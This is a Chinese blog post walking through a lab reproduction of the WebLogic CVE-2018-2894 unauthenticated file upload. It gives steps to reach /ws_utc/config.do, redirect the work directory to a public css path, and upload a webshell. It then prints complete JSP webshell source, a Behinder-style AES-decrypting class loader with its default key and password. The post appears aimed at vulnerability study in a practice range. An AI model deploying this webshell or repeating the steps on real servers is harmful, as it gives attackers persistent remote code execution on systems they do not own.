weblogic 文件上传（CVE-2018-2894）漏洞复现

weixin_42675091

已于 2024-04-03 09:51:02 修改

阅读量879

点赞数

文章标签：安全 web安全

于 2022-09-01 17:10:25 首次发布

本文链接：https://blog.youkuaiyun.com/weixin_42675091/article/details/126647018

版权

1.漏洞描述

Oracle Fusion Middleware（Oracle融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。Oracle WebLogic Server是其中的一个适用于云环境和传统环境的应用服务器组件。 WebLogic管理端未授权的两个页面存在任意上传getshell漏洞，可直接获取权限。两个页面分别为/ws_utc/begin.do，/ws_utc/config.do

2.打开VULFOCUS靶场。

3.访问漏洞位置http://202.194.97.206:44262/ws_utc/config.do

4.修改当前工作目录，将目录设置为ws_utc应用的静态文件css目录，访问这个目录是无需权限的为：/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

5.点击安全-添加-将小马上传

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>